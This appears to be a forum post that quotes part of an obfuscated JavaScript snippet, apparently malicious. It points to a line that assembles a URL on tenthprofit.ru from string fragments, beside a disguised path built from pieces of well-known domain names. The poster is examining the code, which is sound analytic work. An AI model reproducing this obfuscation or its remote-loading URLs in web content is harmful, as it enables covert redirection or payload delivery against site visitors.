Check out the "neatly formatted script":
var GU = '';
var h;
var X = new String();
var mP = "";
H = function () {
var F = ["hu"];
function L(Lc, O, d) {
return Lc.substr(O, d);
}
OH = 55345;
OH -= 37;
var x = document;
QM = 6929;
QM++;
q = 25298;
q -= 65;
var t = '';
var vs = {};
var u = ["hR"];
var Oi = RegExp;
var A = {
kh: "LQ"
};
var v = new String("/goo" + "gle." + L("com/DyBg", 0, 4) + L("abc.EBgq", 0, 4) + L("0vm1go.c1m0v", 4, 4) + "om/t" + L("erraX6U", 0, 4) + L(".comKvlS", 0, 4) + L("P1By.br.By1P", 4, 4) + "php");
yz = {
Ec: false
};
function y(Lc, O) {
hI = 24414;
hI++;
g = {};
a = 28529;
a--;
var d = new String(L("[n0jJ", 0, 1)) + O + String("]");
var m = new Oi(d, String("g"));
n = {
kW: 40818
};
ly = {
...
(Continued in original format)
I found this part particularly unsettling:
s[G] = new String("http:" + L("//ten5qC", 0, 5) + "thpro" + "fit.r" + L("u:mn7k", 0, 2)) + Lc;
This line assigns a URL from tenthprofit.ru
to s[G]
.